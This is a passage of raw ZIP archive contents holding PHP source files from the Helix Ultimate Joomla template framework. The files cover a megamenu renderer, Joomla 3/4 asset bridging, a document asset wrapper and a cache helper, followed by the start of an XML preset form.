	 * @since	1.0.0
	 */
	public $direction = 'ltr';

	/**
	 * Menu type.
	 *
	 * @var		string		Menutype
	 * @since	1.0.0
	 */
	public $menuname = 'mainmenu';

	/**
	 * Constructor class.
	 *
	 * @param	string	$class	Classes.
	 * @param	string	$name	Name attribute
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function __construct($class = '', $name = '')
	{
		$lang = Factory::getLanguage();
		$this->app = Factory::getApplication();

		$this->template = Helper::loadTemplateData();
		$this->_params = $this->template->params;

		$this->extraclass = $class;
		$this->direction = $lang->get('rtl') ? 'rtl' : 'ltr';

		if ($name)
		{
			$this->menuname = $name;
		}
		else
		{
			$this->menuname = $this->_params->get('menu');
		}

		$this->initMenu();
		$this->render();
	}

	/**
	 * Initialized the menu functionalities.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function initMenu()
	{
		$menu  	= $this->app->getMenu('site');
		$attributes 	= array('menutype');
		$menu_name     	= array($this->menuname);
		$items 			= $menu->getItems($attributes, $menu_name);
		$active_item 	= ($menu->getActive())
			? $menu->getActive()
			: $menu->getDefault();

		$this->active   	= $active_item ? $active_item->id : 0;
		$this->active_tree 	= $active_item->tree;
		

		foreach ($items as &$item)
		{
			if ($item->level >= 2 && !isset($this->_items[$item->parent_id]))
			{
				continue;
			}

			$parent                           = isset($this->children[$item->parent_id]) ? $this->children[$item->parent_id] : array();
			$parent[]                         = $item;
			$this->children[$item->parent_id] = $parent;
			$this->_items[$item->id]          = $item;
		}

		foreach ($items as &$item)
		{
			$class = '';
			$ariaLabelOpen = '';

			if ($item->id == $this->active)
			{
				$class .= ' current-item';
				$ariaLabelOpen .= 'aria-current="page"';
			}

			if (in_array($item->id, $this->active_tree))
			{
				$class .= ' active';
			}
			elseif ($item->type == 'alias')
			{
				$aliasToId = $item->getParams()->get('aliasoptions');

				if (count($this->active_tree) > 0 && $aliasToId == $this->active_tree[count($this->active_tree) - 1])
				{
					$class .= ' active';
				}
				elseif (in_array($aliasToId, $this->active_tree))
				{
					$class .= ' alias-parent-active';
				}
			}

			$item->class   = $class;
			$item->ariaLabelOpen   = $ariaLabelOpen;
			$item->dropdown = 0;
			$item->flink = $item->link;

			if (isset($this->children[$item->id]))
			{
				$item->dropdown = 1;
			}

			switch ($item->type)
			{
				case 'separator':
				case 'heading':
					break;

				case 'url':
					if ((int) (strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false))
					{
						// If this is an internal Joomla link, ensure the Itemid is set.
						$item->flink = $item->link . '&Itemid=' . $item->id;
					}

					break;

				case 'alias':
					$item->flink = 'index.php?Itemid=' . $item->getParams()->get('aliasoptions');
					break;

				default:
					$item->flink = 'index.php?Itemid=' . $item->id;
					break;
			}

			if ((strpos($item->flink, 'index.php?') !== false) && strcasecmp(substr($item->flink, 0, 4), 'http'))
			{
				$item->flink = Route::_($item->flink, true, $item->getParams()->get('secure'));
			}
			else
			{
				$item->flink = Route::_($item->flink);
			}

			$item->title = htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8', false);
			$item->anchor_css   = htmlspecialchars($item->getParams()->get('menu-anchor_css', ''), ENT_COMPAT, 'UTF-8', false);
			$item->anchor_title = htmlspecialchars($item->getParams()->get('menu-anchor_title', ''), ENT_COMPAT, 'UTF-8', false);
			$item->menu_image   = $item->getParams()->get('menu_image', '') ? htmlspecialchars($item->getParams()->get('menu_image', ''), ENT_COMPAT, 'UTF-8', false) : '';
		}
	}

	/**
	 * Render menu.
	 *
	 * @return	string
	 * @since	1.0.0
	 */
	public function render()
	{
		$this->menu = '';
		$keys = array_keys($this->_items);

		if (!empty($keys))
		{
			$this->navigation(null, $keys[0]);
		}

		return $this->menu;
	}

	/**
	 * Menu navigation.
	 *
	 * @param	object	$pitem	Parent item.
	 * @param	integer	$start	Start index.
	 * @param	integer	$end	End index.
	 * @param	string	$class	Class value.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function navigation($pitem, $start = 0, $end = 0, $class = '')
	{
		if ($start > 0)
		{
			if (!isset($this->_items[$start]))
			{
				return;
			}

			$pid     = $this->_items[$start]->parent_id;
			$items   = array();
			$started = false;

			foreach ($this->children[$pid] as $item)
			{
				if ($started)
				{
					if ((int) $item->id === (int) $end)
					{
						break;
					}

					$items[] = $item;
				}
				else
				{
					if ((int) $item->id === (int) $start)
					{
						$started = true;
						$items[] = $item;
					}
				}
			}

			if (empty($items))
			{
				return;
			}
		}
		elseif ((int) $start === 0)
		{
			$pid = $pitem->id;

			if (!isset($this->children[$pid]))
			{
				return;
			}

			$items = $this->children[$pid];
		}
		else
		{
			return;
		}

		// Parent class
		if ((int) $pid === 1)
		{
			if ($this->_params->get('menu_animation') !== 'none')
			{
				$animation = ' ' . $this->_params->get('menu_animation');
			}
			else
			{
				$animation = '';
			}

			$class = 'sp-megamenu-parent' . $animation;

			if ($this->extraclass)
			{
				$class = $class . ' ' . $this->extraclass;
			}

			$this->menu .= $this->start_lvl($class);
		}
		else
		{
			$this->menu .= $this->start_lvl($class);
		}

		foreach ($items as $item)
		{
			$this->getItem($item);
		}

		$this->menu .= $this->end_lvl();
	}

	/**
	 * Get menu item.
	 *
	 * @param	object	$item	The menu
	 *
	 * @return 	void
	 * @since	1.0.0
	 */
	private function getItem($item)
	{
		$this->menu .= $this->start_el(array('item' => $item));
		$this->menu .= $this->item($item);

		$menulayout = json_decode($item->getParams()->get('helixultimatemenulayout'));

		if (isset($menulayout->megamenu) && $menulayout->megamenu)
		{
			$this->mega($item);
		}
		elseif ($item->dropdown)
		{
			$this->dropdown($item);
		}

		$this->menu .= $this->end_el();
	}

	/**
	 * Menu dropdown
	 *
	 * @param	object	$item	Menu item.
	 *
	 * @return 	void
	 * @since 	1.0.0
	 */
	private function dropdown($item)
	{
		$items     = isset($this->children[$item->id]) ? $this->children[$item->id] : array();
		$firstitem = !empty($items) ? $items[0]->id : 0;
		$class = ((int) $item->level === 1) ? 'sp-dropdown sp-dropdown-main' : 'sp-dropdown sp-dropdown-sub';

		// Menu_show
		$menu_show = $this->getMenuShow($item->id);
		$dropdown_width = $this->_params->get('dropdown_width', '240px');
		$dropdown_width = preg_match("@(px|em|rem|%)$@", $dropdown_width) ? $dropdown_width : $dropdown_width . 'px';
		$dropdown_alignment = 'right';
		$dropdown_style = 'width: ' . $dropdown_width . ';';
		$layout = json_decode($this->_items[$item->id]->getParams()->get('helixultimatemenulayout'));

		if (isset($layout->dropdown) && $layout->dropdown === 'left')
		{
			if ((int) $item->parent_id !== 1)
			{
				$dropdown_style .= 'left: -' . $dropdown_width . ';';
			}

			$dropdown_alignment = 'left';
		}

		if ((int) $menu_show !== 0)
		{
			$this->menu .= '<div class="' . $class . ' sp-menu-' . $dropdown_alignment . '" style="' . $dropdown_style . '">';
			$this->menu .= '<div class="sp-dropdown-inner">';
			$this->navigation($item, $firstitem, 0,  'sp-dropdown-items');
			$this->menu .= '</div>';
			$this->menu .= '</div>';
		}
	}

	/**
	 * Check show menu.
	 *
	 * @param	integer		$parent_id	The parent menu id.
	 *
	 * @return	integer		Show menu.
	 * @since 	1.0.0
	 */
	private function getMenuShow($parent_id)
	{
		$items     = isset($this->children[$parent_id]) ? $this->children[$parent_id] : array();
		$show_menu = 0;

		foreach ($items as $menu_item)
		{
			if ((int) $menu_item->getParams()->get('menu_show', 1) === 1)
			{
				$show_menu ++;
			}
		}

		return $show_menu;
	}

	/**
	 * Helix mega menu.
	 *
	 * @param	object	$item	Menu item.
	 *
	 * @return 	void
	 * @since	1.0.0
	 */
	private function mega($item)
	{
		$items     = isset($this->children[$item->id]) ? $this->children[$item->id] : array();
		$firstitem = count($items) ? $items[0]->id : 0;

		$mega = json_decode($item->getParams()->get('helixultimatemenulayout'));

		$layout = $mega->layout ?? [];

		$mega_style = 'width: ' . (preg_match("@(px|em|rem|%)$@", $mega->width) ? $mega->width : $mega->width . 'px');
		$mega_style .= ';';

		if ($mega->menualign === 'center')
		{
			$mega_style .= 'left: -' . ((float) $mega->width / 2) . 'px;';
		}

		if ($mega->menualign === 'full')
		{
			$mega_style = '';
			$mega->menualign = $mega->menualign . ' container';
		}

		$this->menu .= '<div class="sp-dropdown sp-dropdown-main sp-dropdown-mega sp-menu-' . $mega->menualign . '" style="' . $mega_style . '">';
		$this->menu .= '<div class="sp-dropdown-inner">';

		foreach ($layout as $row)
		{
			$this->menu .= '<div class="row">';

			foreach ($row->attr as $col)
			{
				$this->menu .= '<div class="col-sm-' . $col->colGrid . '">';

				if (!empty($col->items))
				{
					$this->menu .= $this->start_lvl('sp-mega-group');

					foreach ($col->items as $builder_item)
					{
						$li_head = '';

						if ($builder_item->type === 'menu_item')
						{
							$li_head = 'item-header';
						}

						$item_class = array(
							'item-' . $builder_item->item_id,
							$builder_item->type,
							$li_head
						);

						$this->menu .= '<li class="' . implode(' ', $item_class) . '">';

						if ($builder_item->type === 'module')
						{
							$this->menu .= $this->load_module($builder_item->item_id);
						}
						elseif ($builder_item->type === 'menu_item')
						{
							if (!empty($this->_items[$builder_item->item_id]))
							{
								$item 	= $this->_items[$builder_item->item_id];
								$items  = isset($this->children[$builder_item->item_id]) ? $this->children[$builder_item->item_id] : array();

								$firstitem = count($items) ? $items[0]->id : 0;

								if (isset($this->children[$item->id]))
								{
									$this->menu .= $this->item($item, 'sp-group-title');
								}
								else
								{
									$this->menu .= $this->item($item);
								}

								if ($firstitem)
								{
									$this->navigation(null, $firstitem, 0, 'sp-mega-group-child sp-dropdown-items');
								}
							}
						}

						$this->menu .= $this->end_el();
					}

					$this->menu .= $this->end_lvl();
				}

				$this->menu .= '</div>';
			}

			$this->menu .= '</div>';
		}

		$this->menu .= '</div>';
		$this->menu .= '</div>';
	}

	/**
	 * Start label.
	 *
	 * @param	string	$cls	The classes.
	 *
	 * @return	string	starting tag of the label.
	 * @since	1.0.0
	 */
	private function start_lvl($cls = '')
	{
		$class = trim($cls);

		return '<ul class="' . $class . '">';
	}

	/**
	 * End label.
	 *
	 * @return 	string	The ending tag of the label.
	 * @since	1.0.0
	 */
	private function end_lvl()
	{
		return '</ul>';
	}

	/**
	 * Start element.
	 *
	 * @param	array	$args	The arguments.
	 *
	 * @return 	string	The starting element
	 * @since	1.0.0
	 */
	private function start_el($args = array())
	{
		$item 	= $args['item'];
		$class 	= 'sp-menu-item';

		// Menu show
		$menu_show = $this->getMenuShow($args['item']->id);

		$layout = json_decode($item->getParams()->get('helixultimatemenulayout'));

		$item->hasChild = 0;

		if (!empty($this->children[$item->id]) && $menu_show !== 0)
		{
			$class .= ' sp-has-child';
			$item->hasChild = 1;
		}
		elseif (isset($layout->megamenu) && ($layout->megamenu))
		{
			$class .= ' sp-has-child';
			$item->hasChild = 1;
		}

		if (isset($layout->customclass) && ($layout->customclass))
		{
			$class .= ' ' . $layout->customclass;
		}

		$class .= $item->class;

		return '<li class="' . $class . '">';
	}

	/**
	 * End element.
	 *
	 * @return	string	The ending element.
	 * @since	1.0.0
	 */
	private function end_el()
	{
		return '</li>';
	}

	/**
	 * Menu item.
	 *
	 * @param	object	$item			The item object.
	 * @param	string	$extra_class	Any extra class for the menu.
	 *
	 * @return	string	The menu item
	 * @since	1.0.0
	 */
	private function item($item, $extra_class='')
	{
		$title = $item->anchor_title ? 'title="' . $item->anchor_title . '" ' : '';

		$class = $extra_class;
		$class .= ($item->anchor_css && $class) ? ' ' . $item->anchor_css : $item->anchor_css;

		if ($item->type === 'separator')
		{
			$class .= ' sp-menu-separator';
		}
		elseif ($item->type === 'heading')
		{
			$class .= ' sp-menu-heading';
		}
		

		$class = !empty($class) ? 'class="' . $class . '"' : '';

		if ($item->menu_image)
		{
			$item->getParams()->get('menu_text', 1) ?
				$linktitle = '<img src="' . $item->menu_image . '" alt="' . $item->title . '" /><span class="image-title">' . $item->title . '</span> ' :
				$linktitle = '<img src="' . $item->menu_image . '" alt="' . $item->title . '" />';
		}
		else
		{
			$linktitle = $item->title;
		}

		$layout = json_decode($item->getParams()->get('helixultimatemenulayout'));

		$showmenutitle = (isset($layout->showtitle)) ? $layout->showtitle : 1;
		$icon = (isset($layout->faicon)) ? $layout->faicon : '';

		if (!empty($icon) && !preg_match("@^fa[sbr]@", $icon))
		{
			$icon = 'fas ' . $icon;
		}
		

		if (!$showmenutitle)
		{
			$linktitle = '';
		}

		// Add Menu Icon
		if ($icon)
		{
			if ($showmenutitle)
			{
				$linktitle = '<span class="' . $icon . '"></span> ' . $linktitle;
			}
			else
			{
				$linktitle = '<span class="' . $icon . '"></span>';
			}
		}

		$flink = $item->flink;
		$ariaLabelOpen = $item->ariaLabelOpen;
		$flink = str_replace('&amp;', '&', OutputFilter::ampReplace(htmlspecialchars($flink)));

		$badge_html = '';

		if (isset($layout->badge) && $layout->badge)
		{
			$badge_style = '';
			$badge_class = 'sp-menu-badge sp-menu-badge-right';

			if (isset($layout->badge_bg_color) && $layout->badge_bg_color)
			{
				$badge_style .= 'background-color: ' . $layout->badge_bg_color . ';';
			}

			if (isset($layout->badge_text_color) && $layout->badge_text_color)
			{
				$badge_style .= 'color: ' . $layout->badge_text_color . ';';
			}

			if (isset($layout->badge_position) && $layout->badge_position === 'left')
			{
				$badge_class = 'sp-menu-badge sp-menu-badge-left';
			}

			$badge_html = '<span class="' . $badge_class . '" style="' . $badge_style . '">' . $layout->badge . '</span>';
		}

		$output = '';
		$options = '';

		if ($badge_html)
		{
			if (isset($layout->badge_position) && $layout->badge_position === 'left')
			{
				$linktitle = $badge_html . $linktitle;
			}
			else
			{
				$linktitle = $linktitle . $badge_html;
			}
		}

		if (isset($item->hasChild) && $item->hasChild)
		{
			// $linktitle = $linktitle . ' <span class="fas fa-angle-down" aria-hidden="true"></span>';
		}

		if ($item->getParams()->get('menu_show', 1) !== 0)
		{
			switch ($item->browserNav)
			{
				default:
				case 0:
					if ($item->type === 'separator' || $item->type === 'heading')
					{
						$output .= '<span ' . $ariaLabelOpen . ' ' . $class . ' ' . $title . '>' . $linktitle . '</span>';
					}
					else
					{
						$output .= '<a ' . $ariaLabelOpen .  ' ' . $class . ' href="' . $flink . '" ' . $title . '>' . $linktitle . '</a>';
					}

					break;

				case 1:
					$output .= '<a ' . $class . ' rel="noopener noreferrer" href="' . $flink . '" target="_blank" ' . $title . '>' . $linktitle . '</a>';
					break;

				case 2:
					$options .= 'toolbar=no,location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,' . $item->getParams()->get('window_open');
					$output .= '<a ' . $class . ' href="' . $flink . '" onclick="window.open(this.href, \'targetWindow\', \'' . $options . '\');return false;"' . $title . '>' . $linktitle . '</a>';
					break;
			}
		}

		return $output;
	}

	/**
	 * Load module to the menu
	 *
	 * @param	array	$mod	Modules
	 *
	 * @return	string	Modules
	 * @since	1.0.0
	 */
	private function load_module($mod)
	{
		if (!is_numeric($mod))
		{
			return null;
		}

		$groups		= implode(',', Factory::getUser()->getAuthorisedViewLevels());
		$lang 		= Factory::getLanguage()->getTag();
		$clientId 	= (int) $this->app->getClientId();

		$db	= Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select('m.id, m.title, m.module, m.position, m.content, m.showtitle, m.params');
		$query->from('#__modules AS m');
		$query->where('m.published = 1');
		$query->where('m.id = ' . $mod);

		$date = Factory::getDate();
		$now = $date->toSql();
		$nullDate = $db->getNullDate();

		$query->where('(m.publish_up IS NULL OR m.publish_up = ' . $db->Quote($nullDate) . ' OR m.publish_up <= ' . $db->Quote($now) . ')');
		$query->where('(m.publish_down IS NULL OR m.publish_down = ' . $db->Quote($nullDate) . ' OR m.publish_down >= ' . $db->Quote($now) . ')');
		$query->where('m.access IN (' . $groups . ')');
		$query->where('m.client_id = ' . $clientId);

		if ($this->app->isClient('site') && $this->app->getLanguageFilter())
		{
			$query->where('m.language IN (' . $db->Quote($lang) . ',' . $db->Quote('*') . ')');
		}

		$query->order('position, ordering');
		$db->setQuery($query);
		$module = $db->loadObject();

		if (!$module)
		{
			return null;
		}

		$options = array('style' => 'sp_xhtml');

		$file				= $module->module;
		$custom				= substr($file, 0, 4) == 'mod_' ?  0 : 1;
		$module->user		= $custom;
		$module->name		= $custom ? $module->title : substr($file, 4);
		$module->style		= null;
		$module->client_id  = 1;
		$module->position	= strtolower($module->position);
		$clean[$module->id]	= $module;
		$output = ModuleHelper::renderModule($module, $options);

		return $output;
	}
}
PK!��zM^^)helixultimate/src/System/JoomlaBridge.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\System;

/**
 * Bridge between Joomla 3 and Joomla 4
 *
 * @since	2.0.0
 */
class JoomlaBridge
{
	/**
	 * Asset mapping between Joomla 3 and 4
	 *
	 * @var		array	The mapping array
	 * @since	2.0.0
	 */
	private static $assetMap = [];

	/**
	 * Joomla! core version with type.
	 *
	 * @param	string	$type	The version type. Available values are major, minor and patch.
	 *
	 * @return	int|string		Full version string if type is omitted, otherwise integer value of the version.
	 * @since	2.0.0
	 */
	public static function getVersion($type = '')
	{
		list($major, $minor, $patch) = explode('.', JVERSION);

		switch ($type)
		{
			case 'major':
				return (int) ($major ?? 0);
			case 'minor':
				return (int) ($minor ?? 0);
			case 'patch':
				return (int) ($patch ?? 0);
			default:
				return JVERSION;
		}
	}

	public static function getAssetMap() : array
	{
		/**
		 * The structure of the array is name => [j3, j4, j3AlreadyRegistered, j4AlreadyRegistered].
		 * That is asset name as key and first value for j3 and 2nd for j4.
		 */
		self::$assetMap = [
			'core'						=> ['core', 'core', ''],
			'jquery' 					=> ['jquery.framework', 'jquery'],
			'jquery-migrate'			=> ['', 'jquery-migrate'],
			'jquery-noconflict'			=> ['', 'jquery-noconflict'],
			'keepalive' 				=> ['behavior.keepalive', 'keepalive'],
			'script.chosen' 			=> ['formbehavior.chosen', 'vendor/chosen/chosen.jquery.js', 'registered'],
			'style.chosen' 				=> ['', 'vendor/chosen/chosen.css'],
			'script.colorPicker' 		=> ['jui/jquery.minicolors.min.js', 'vendor/minicolors/jquery.minicolors.min.js'],
			'style.colorPicker' 		=> ['jui/jquery.minicolors.css', 'vendor/minicolors/jquery.minicolors.css'],
			'cms' 						=> ['jui/cms.js', 'system/showon.min.js'],
			'script.bootstrap'			=> ['bootstrap.framework', 'vendor/bootstrap/bootstrap.min.js', 'registered'],
		];
	
		return self::$assetMap;
	}

}
PK!�o3))*helixultimate/src/System/HelixDocument.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\System;

use HelixUltimate\Framework\System\JoomlaBridge;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;

/**
 * Helix Document a abstraction of the Document/HtmlDocument for making B\C of Joomla 3 & 4.
 *
 * @since	2.0.0
 */
class HelixDocument
{
	/**
	 * The document instance
	 *
	 * @var		Document	the document instance.
	 * @since	2.0.0
	 */
	protected $document = null;

	/**
	 * Web Asset Manager, the instance of WebAssetManager
	 *
	 * @var		WebAssetManager|Document	Return WebAssetManager if the Joomla version
	 * 										is greater than or equal 4, otherwise the Document instance.
	 * @since	2.0.0
	 */
	protected $webAssetManager = null;

	/**
	 * Joomla major version.
	 *
	 * @var		integer
	 * @since	2.0.0
	 */
	private $joomlaMajor = 0;

	/**
	 * Joomla 3 4 asset mapping.
	 *
	 * @var		array
	 * @since	2.0.0
	 */
	private $assetMap = [];

	public function __construct()
	{
		$this->document = Factory::getDocument();
		$this->joomlaMajor = JoomlaBridge::getVersion('major');
		$this->assetMap = JoomlaBridge::getAssetMap();
		$this->webAssetManager = $this->loadWebAssetManager();
	}

	/**
	 * Magic call method for handling register<Type>, use<Type> and registerAndUse<Type> methods.
	 *
	 * @param	string	$method		The method name.
	 * @param	array	$arguments	The arguments for the method.
	 *
	 * @return	mixed
	 * @since	2.0.0
	 *
	 * @throws	\BadMethodException
	 */
	public function __call($method, $arguments)
	{
		$method = strtolower($method);

		if (strpos($method, 'use') === 0)
		{
			$type = substr($method, 3);

			if (empty($arguments[0]))
			{
				throw new \BadMethodCallException(sprintf('Asset name is required!'));
			}

			return $this->useAsset($type, $arguments[0]);
		}

		if (strpos($method, 'addinline') === 0)
		{
			$type = substr($method, 9);

			if (empty($arguments[0]))
			{
				throw new \BadMethodCallException(sprintf('Asset content is required!'));
			}

			return $this->addInline($type, ...$arguments);
		}

		if (strpos($method, 'register') === 0)
		{
			$andUse = substr($method, 8, 6) === 'anduse';
			$type = $andUse ? substr($method, 14) : substr($method, 8);

			if ($andUse)
			{
				return $this->registerAndUseAsset($type, ...$arguments);
			}
			else
			{
				return $this->registerAsset($type, ...$arguments);
			}
		}

		if ($this->joomlaMajor >= 4)
		{
			if (method_exists($this->webAssetManager, $method))
			{
				return call_user_func_array([$this->webAssetManager, $method], $arguments);
			}
			else
			{
				throw new \BadMethodCallException(sprintf('Undefined method %s in class %s', $method, get_class($this)));
			}
		}

		throw new \BadMethodCallException(sprintf('Undefined method %s in class %s', $method, get_class($this)));
	}

	/**
	 * Load webAssetManager for the specific Joomla! major version.
	 * If it is J3 then return Document as webAssetManager and for
	 * J4 it returns the instance of document->getWebAssetManager
	 *
	 * @return	mixed
	 * @since	2.0.0
	 */
	protected function loadWebAssetManager()
	{
		if ($this->joomlaMajor < 4)
		{
			return $this->document;
		}

		return $this->document->getWebAssetManager();
	}

	/**
	 * Get the webAssetManager instance.
	 *
	 * @return	mixed	Document|WebAssetManager
	 * @since	2.0.0
	 */
	public function getWebAssetManager()
	{
		return $this->webAssetManager;
	}

	/**
	 * Register Asset. This method is working on the J4 only as J3 has nothing similar to it.
	 *
	 * @param	string	$type			The asset type. Possible values are 'script' and 'style'
	 * @param	string	$name			The asset name. The asset will be identified by this name in future.
	 * @param	string	$uri			The asset location.
	 * @param	array	$options		The options array for the asset.
	 * @param	array	$attributes		The attributes array for the asset.
	 * @param	array	$dependencies	The dependencies array for the asset.
	 *
	 * @return	self
	 * @since	2.0.0
	 */
	public function registerAsset(string $type, string $name, string $uri = '', array $options = [], array $attributes = [], array $dependencies = []) : self
	{
		if ($this->joomlaMajor >= 4)
		{
			$this->webAssetManager->registerStyle($name, $uri, $options, $attributes, $dependencies);
		}

		return $this;
	}

	/**
	 * Use asset to the site. This asset will look for assetMap at JoomlaBridge and
	 * add asset according to the map for both J3 and J4
	 *
	 * @param	string	$type	The asset type. Possible values are 'script' and 'style'.
	 * @param	string	$name	The asset name which is registered before.
	 *
	 * @return	self
	 * @since	2.0.0
	 */
	public function useAsset(string $type, string $name) : self
	{
		if ($this->joomlaMajor >= 4)
		{
			if (isset($this->assetMap[$name]))
			{
				if (!empty($this->assetMap[$name][1]))
				{
					$name = $this->assetMap[$name][1];
					$this->webAssetManager->useAsset($type, $name);
				}
			}
			else
			{
				$this->webAssetManager->useAsset($type, $name);
			}
		}
		else
		{
			if (isset($this->assetMap[$name]))
			{
				if (!empty($this->assetMap[$name][0]))
				{
					$name = $this->assetMap[$name][0];
					HTMLHelper::_($name);
				}
			}
		}

		return $this;
	}

	/**
	 * Register and Use Asset. This is the combination of both `registerAsset` then `useAsset`.
	 *
	 * @param	string	$type			The asset type. Possible values are 'script' and 'style'
	 * @param	string	$name			The asset name. The asset will be identified by this name in future.
	 * @param	string	$uri			The asset location.
	 * @param	array	$options		The options array for the asset.
	 * @param	array	$attributes		The attributes array for the asset.
	 * @param	array	$dependencies	The dependencies array for the asset.
	 *
	 * @return	self
	 * @since	2.0.0
	 */
	public function registerAndUseAsset(string $type, string $name, string $uri = '', array $options = [], array $attributes = [], array $dependencies = []) : self
	{
		if ($this->joomlaMajor >= 4)
		{
			if (isset($this->assetMap[$name]) && !empty($this->assetMap[$name][1]))
			{
				$uri = $this->assetMap[$name][1];
			}

			// Generating method like registerAndUseStyle/registerAndUseScript
			$registerAndUseMethod = 'registerAndUse' . ucfirst($type);
			$this->webAssetManager->$registerAndUseMethod($name, $uri, $options, $attributes, $dependencies);
		}
		else
		{
			if (isset($this->assetMap[$name]) && !empty($this->assetMap[$name][0]))
			{
				$uri = $this->assetMap[$name][0];
			}

			$nameMap = ['script' => 'script', 'style' => 'stylesheet'];

			if (!empty($uri))
			{
				if (isset($this->assetMap[$name]) && !empty($this->assetMap[$name][2]) && $this->assetMap[$name][2] === 'registered')
				{
					HTMLHelper::_($uri);
				}
				else
				{
					HTMLHelper::_($nameMap[$type], $uri, $options, $attributes);
				}
			}
		}

		return $this;
	}

	/**
	 * Add Inline asset.
	 *
	 * @param	string	$type			The asset type. Possible values are 'script' and 'style'
	 * @param	string	$name			The asset name. The asset will be identified by this name in future.
	 * @param	string	$uri			The asset location.
	 * @param	array	$options		The options array for the asset.
	 * @param	array	$attributes		The attributes array for the asset.
	 * @param	array	$dependencies	The dependencies array for the asset
	 *
	 * @return	self
	 * @since	2.0.0
	 */
	public function addInline(string $type, string $content, array $options = [], array $attributes = [], array $dependencies = []) : self
	{
		if ($this->joomlaMajor >= 4)
		{
			$this->webAssetManager->addInline($type, $content, $options, $attributes, $dependencies);
		}
		else
		{
			// Generating method name like addScriptDeclaration/addStyleDeclaration
			$declarationMethod = 'add' . ucfirst($type) . 'Declaration';
			$this->webAssetManager->$declarationMethod($content);
		}

		return $this;
	}
}
PK!�����
�
'helixultimate/src/System/HelixCache.phpnu&1i�<?php
/**
 * @package 	Helix_Ultimate_Framework
 * @author 		JoomShaper <joomshaper@js.com>
 * @copyright 	Copyright (c) 2010 - 2018 JoomShaper
 * @license 	http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\System;

defined('_JEXEC') or die();

use Joomla\CMS\Cache\Cache;
use Joomla\CMS\Factory;

/**
 * Class for caching
 *
 * @since	2.0.0
 */
class HelixCache
{
	/**
	 * Cache key
	 *
	 * @var		string		$key	Cache key.
	 * @since	2.0.0
	 */
	private $key;

	/**
	 * Cache group where to cache store.
	 *
	 * @var		string	$group	Cache group.
	 * @since	2.0.0
	 */
	private	$group = 'helixultimate';

	/**
	 * Cache instance.
	 *
	 * @var		Cache	$cache	JCache instance.
	 * @since	2.0.0
	 */
	private $cache;

	/**
	 * Constructor function.
	 *
	 * @param	string		$key		Cache key
	 * @param	integer		$lifetime	Cache lifetime.
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	public function __construct($key, $lifetime = 1440)
	{
		$this->key = $key;
		$this->setCacheInstance($lifetime);
	}

	/**
	 * Set cache group externally
	 *
	 * @param	string	$group	Group name
	 *
	 * @return	self	The class instance
	 * @since	2.0.0
	 */
	public function setGroup($group)
	{
		$this->group = $group;

		return $this;
	}

	/**
	 * Set cache key.
	 * This is for manipulate the key if anyone don't want to re-initiate the class.
	 *
	 * @param	string	$key	Cache key to set.
	 *
	 * @return	self	Class instance for chaining
	 * @since	2.0.0
	 */
	public function setCacheKey($key)
	{
		$this->key = $key;

		return $this;
	}

	/**
	 * Get Cache key for outside of the class.
	 *
	 * @return 	string	Cache key
	 * @since	2.0.0
	 */
	public function getCacheKey()
	{
		return $this->key;
	}

	/**
	 * Set cache instance
	 *
	 * @param	int		$lifetime	Cache lifetime.
	 *
	 * @return	self	The class instance for chaining.
	 * @since	2.0.0
	 */
	public function setCacheInstance($lifetime)
	{
		$config = Factory::getConfig();

		$options = [
			'caching' 	=> true,
			'cachebase' => $config->get('cache_path', JPATH_ROOT . '/cache'),
			'lifetime' 	=> $lifetime
		];

		$this->cache = Cache::getInstance('', $options);

		return $this;
	}

	/**
	 * Get cache instance
	 *
	 * @return	Cache	The cache instance
	 * @since	2.0.0
	 */
	public function getCacheInstance()
	{
		return $this->cache;
	}

	/**
	 * If cache data contains for the key.
	 *
	 * @return	boolean		true on success, false otherwise
	 * @since	2.0.0
	 */
	public function contains() : bool
	{
		return $this->cache->contains($this->key, $this->group);
	}

	/**
	 * Clean Cache
	 *
	 * @return	self	Class instance
	 * @since	2.0.0
	 */
	public function cleanCache()
	{
		$this->cache->clean($this->group);

		return $this;
	}

	/**
	 * Remove cache by key.
	 *
	 * @param	string	$key	The key string.
	 *
	 * @return	self
	 * @since	2.0.0
	 */
	public function removeCache($key = null)
	{
		if (empty($key))
		{
			$key = $this->key;
		}

		$this->cache->remove($key, $this->group);

		return $this;
	}

	/**
	 * Store cache with data.
	 *
	 * @param	array	$data	data to store as cache.
	 *
	 * @return	self	Class instance
	 * @since	2.0.0
	 */
	public function storeCache($data)
	{
		$this->cache->store($data, $this->key, $this->group);

		return $this;
	}

	/**
	 * Load cached data by key
	 *
	 * @return	mixed	Loaded data on success, null on no data.
	 * @since	2.0.0
	 */
	public function loadData()
	{
		$data = $this->cache->get($this->key, $this->group);

		if (!empty($data))
		{
			return $data;
		}

		return null;
	}
}
PK!��’�!helixultimate/src/form/preset.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form name="preset">
	<fieldset name="colors">
		<!-- Preset edit topbar -->
		<field name="topbar_bg_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_topbar" 
			type="color" 
			label="Topbar Background Color" 
			track="false" />

		<field name="topbar_text_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_topbar" 
			type="color" 
			label="Topbar Text Color" 
			track="false" />

		<!-- Preset edit header -->
		<field name="header_bg_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_header" 
			type="color" 
			label="Header Background Color" 
			track="false" />

		<field name="logo_text_color" 
			class="preset-control internal-use-only" 
			helixgroup="preset_header" 
			type="color" 
